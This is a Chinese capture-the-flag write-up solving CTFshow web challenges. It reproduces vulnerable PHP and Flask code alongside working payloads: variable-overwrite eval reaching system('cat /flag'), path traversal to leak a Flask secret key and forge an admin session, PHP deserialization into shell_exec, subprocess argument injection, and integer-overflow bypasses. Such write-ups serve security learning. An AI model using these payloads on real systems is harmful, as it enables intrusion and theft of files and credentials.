CTFSHOW-菜狗杯

27

菜狗杯

菜狗杯web签到web2 c0me_t0_s1gn我的眼里只有$抽老婆一言既出驷马难追TapTapTapwebshell化零为整无一幸免easyPytHon_P遍地飘零茶歇区小舔田


web签到

web2 c0me_t0_s1gn

  1. Ctrl+u -->ctfshow{We1c0me_
  2. 在console控制台输入函数,t0_jo1n_u3_!}

ctfshow{We1c0me_t0_jo1n_u3_!}

我的眼里只有$

 error_reporting(0);
 extract($_POST);
 eval($$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$_);
 highlight_file(__FILE__);

变量覆盖,写一个叫脚本,用xi当覆盖变量

 res = ""
 for i in range(35):
     res+="x"+str(i)+"="+"x"+str(i+1)+"&"
 print(res)
 res1 = res + "x35=system('cat /flag');"
 print(res1)
 ​

就是要利用这个 extract函数

 _=x1&x1=x2&x2=x3&x3=x4&x4=x5&x5=x6&x6=x7&x7=x8&x8=x9&x9=x10&x10=x11&x11=x12&x12=x13&x13=x14&x14=x15&x15=x16&x16=x17&x17=x18&x18=x19&x19=x20&x20=x21&x21=x22&x22=x23&x23=x24&x24=x25&x25=x26&x26=x27&x27=x28&x28=x29&x29=x30&x30=x31&x31=x32&x32=x33&x33=x34&x34=x35&x35=system("cat /f1agaaa");

抽老婆

文件下载+session

遇到session主要想的是怎么找到密钥,然后修改seesion获得权限

我们发现jwt,需要得到密钥

抓包访问:/download?**file**=**../../../app/app.py,获取app.py

 from flask import *
 import os
 import random
 from flag import flag
 ​
 #初始化全局变量
 app = Flask(__name__)
 app.config['SECRET_KEY'] = 'tanji_is_A_boy_Yooooooooooooooooooooo!'
 ​
 @app.route('/', methods=['GET'])
 def index():  
     return render_template('index.html')
 ​
 ​
 @app.route('/getwifi', methods=['GET'])
 def getwifi():
     session['isadmin']=False
     wifi=random.choice(os.listdir('static/img'))
     session['current_wifi']=wifi
     return render_template('getwifi.html',wifi=wifi)
 ​
 ​
 ​
 @app.route('/download', methods=['GET'])
 def source(): 
     filename=request.args.get('file')
     if 'flag' in filename:
         return jsonify({"msg":"你想干什么?"})
     else:
         return send_file('static/img/'+filename,as_attachment=True)
 ​
 ​
 @app.route('/secret_path_U_never_know',methods=['GET'])
 def getflag():
     if session['isadmin']:
         return jsonify({"msg":flag})
     else:
         return jsonify({"msg":"你怎么知道这个路径的?不过还好我有身份验证"})
 ​
 ​
 ​
 if __name__ == '__main__':
     app.run(host='0.0.0.0',port=80,debug=True)

利用脚本

image-20240927211231285

 PS E:\gitcode\flask-session-cookie-manager-1.2.1.1\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py decode -s "tanji_is_A_boy_Yooooooooooooooooooooo!" -c "eyJjdXJyZW50X3dpZmkiOiJhYWVjMGE0MTI1NzJjMDI2NDVlMGI3YzRjNDA2MjY4Ny5qcGciLCJpc2FkbWluIjpmYWxzZX0.ZvaqAQ.07y3w0u5sIHL5lLISFxYEHBkEAA"
 {'current_wifi': 'aaec0a412572c02645e0b7c4c4062687.jpg', 'isadmin': False}
 PS E:\gitcode\flask-session-cookie-manager-1.2.1.1\flask-session-cookie-manager-1.2.1.1> python flask_session_cookie_manager3.py encode -s 'tanji_is_A_boy_Yooooooooooooooooooooo!' -t "{'current_wifi': 'aaec0a412572c02645e0b7c4c4062687.jpg', 'isadmin': True}"
 eyJjdXJyZW50X3dpZmkiOiJhYWVjMGE0MTI1NzJjMDI2NDVlMGI3YzRjNDA2MjY4Ny5qcGciLCJpc2FkbWluIjp0cnVlfQ.Zvautg.i2XEAZq0w33ebU8IOfvsc1ULaRI

然后访问那个特殊路由就得到flag

一言既出

 <?php
 highlight_file(__FILE__); 
 include "flag.php";  
 if (isset($_GET['num'])){
     if ($_GET['num'] == 114514){
         assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
         echo $flag;
     } 
 } 

这个题主要利用intval函数的特性,

 ?nmu=114514+1805296
 #不能写加号
 ?num=114514%2b1805296

驷马难追

 <?php
 highlight_file(__FILE__); 
 include "flag.php";  
 if (isset($_GET['num'])){
      if ($_GET['num'] == 114514 && check($_GET['num'])){
               assert("intval($_GET[num])==1919810") or die("一言既出,驷马难追!");
               echo $flag;
      } 
 } 
 ​
 function check($str){
   return !preg_match("/[a-z]|\;|\(|\)/",$str);
 }

上一道题的升级

但是没有限制到我们,payload一样

TapTapTap

一个js游戏,直接代码审计,找到

WW91ciBmbGFnIGlzIGluIC9zZWNyZXRfcGF0aF95b3VfZG9fbm90X2tub3cvc2VjcmV0ZmlsZS50eHQ=
#解码
Your flag is in /secret_path_you_do_not_know/secretfile.txt

访问页面找到flag

webshell

<?php 
    error_reporting(0);

    class Webshell {
        public $cmd = 'echo "Hello World!"';

        public function __construct() {
            $this->init();
        }

        public function init() {
            if (!preg_match('/flag/i', $this->cmd)) {
                $this->exec($this->cmd);
            }
        }

        public function exec($cmd) {
            $result = shell_exec($cmd);
            echo $result;
        }
    }

    if(isset($_GET['cmd'])) {
        $serializecmd = $_GET['cmd'];
        $unserializecmd = unserialize($serializecmd);
        $unserializecmd->init();
    }
    else {
        highlight_file(__FILE__);
    }

?>

php反序列化

$a = new Webshell();
echo urldecode((serialize($a)));

//?cmd=O:8:"Webshell":1:{s:3:"cmd";s:6:"tac f*";}

化零为整

<?php

highlight_file(__FILE__);
include "flag.php";

$result='';

for ($i=1;$i<=count($_GET);$i++){
    if (strlen($_GET[$i])>1){
        die("你太长了!!");
        }
    else{
    $result=$result.$_GET[$i];
    }
}

if ($result ==="大牛"){
    echo $flag;
}

利用脚本编码“大牛”

from urllib.parse import quote, unquote
def url_encode(text):
    encoded_text = quote(text)
    return encoded_text
def url_decode(encoded_text):
    decoded_text = unquote(encoded_text)
    return decoded_text

original_text = "大牛"
print("Original text:", original_text)

encoded_text = url_encode(original_text)
print("Encoded text:", encoded_text)

decoded_text = url_decode(encoded_text)
print("Decoded text:", decoded_text)
Original text: 大牛
Encoded text: %E5%A4%A7%E7%89%9B
Decoded text: 大牛

一个一个传入变量,即可得到flag

无一幸免

考察数组下标溢出绕过

<?php
include "flag.php";
highlight_file(__FILE__);

if (isset($_GET['0'])){
    $arr[$_GET['0']]=1;
    if ($arr[]=1){
        die($flag);
    }
    else{
        die("nonono!");
    }
}

int范围查阅Manual可知:32位最大是2**31-1,64位是2**63-1

2**63-1 == 9223372036854775807

2**31-1 == 2147483647

Payload:

?0=9223372036854775817(比这个数大就行)

easyPytHon_P

这个题主要是认识:subprocess模块

from flask import request
cmd: str = request.form.get('cmd')
param: str = request.form.get('param')
# ------------------------------------- Don't modify ↑ them ↑! But you can write your code ↓
import subprocess, os
if cmd is not None and param is not None:
    try:
        tVar = subprocess.run([cmd[:3], param, __file__], cwd=os.getcwd(), timeout=5)
        print('Done!')
    except subprocess.TimeoutExpired:
        print('Timeout!')
    except:
        print('Error!')
else:
    print('No Flag!')

需要注意:在flask中

  • request.args.get() 是获取get传参
  • request.form.get() 是获取post传参

Payload:

#这里要注意要查看当前目录需要
cmd=ls&param=.
#找到flag.txt
cmd=cat&param=flag.txt

#执行ls -l /dev/null 命令 >>> subprocess.run(["ls", "-l", "/dev/null"]) crw-rw-rw- 1 root wheel 3, 2 5 4 13:34 /dev/null CompletedProcess(args=['ls', '-l', '/dev/null'], returncode=0)

遍地飘零

<?php
include "flag.php";
highlight_file(__FILE__);

$zeros="000000000000000000000000000000";

foreach($_GET as $key => $value){
    $$key=$$value;
}

if ($flag=="000000000000000000000000000000"){
    echo "好多零";
}else{
    echo "没有零,仔细看看输入有什么问题吧";
    var_dump($_GET);
}

考察变量覆盖,

image-20240929160701603

Payload:

?_GET=flag

茶歇区

image-20240929203735302

常规计算是不行的

我其实比较疑惑,查了资料之后发现

int32 : -2147483648 to 2147483647 int64 : -9223372036854775808 to 9223372036854775807

9223372036854775807
999999999999999999
999999999999999999

多次整数溢出绕过,这里 999999999999999999 需要输入两次,才能获得flag

小舔田

<?php
include "flag.php";
highlight_file(__FILE__);

class Moon{
    public $name="月亮";
    public function __toString(){
        return $this->name;
    }

    public function __wakeup(){
        echo "我是".$this->name."快来赏我";
    }
}

class Ion_Fan_Princess{
    public $nickname="牛夫人";

    public function call(){
        global $flag;
        if ($this->nickname=="小甜甜"){
            echo $flag;
        }else{
            echo "以前陪我看月亮的时候,叫人家小甜甜!现在新人胜旧人,叫人家".$this->nickname."。\n";
            echo "你以为我这么辛苦来这里真的是为了这条臭牛吗?是为了你这个没良心的臭猴子啊!\n";
        }
    }

    public function __toString(){
        $this->call();
        return "\t\t\t\t\t\t\t\t\t\t----".$this->nickname;
    }
}

if (isset($_GET['code'])){
    unserialize($_GET['code']);

}else{
    $a=new Ion_Fan_Princess();
    echo $a;
}

Payload:

$a=new Moon();
$W=new Ion_Fan_Princess();
$a->name=$W;
echo serialize($a);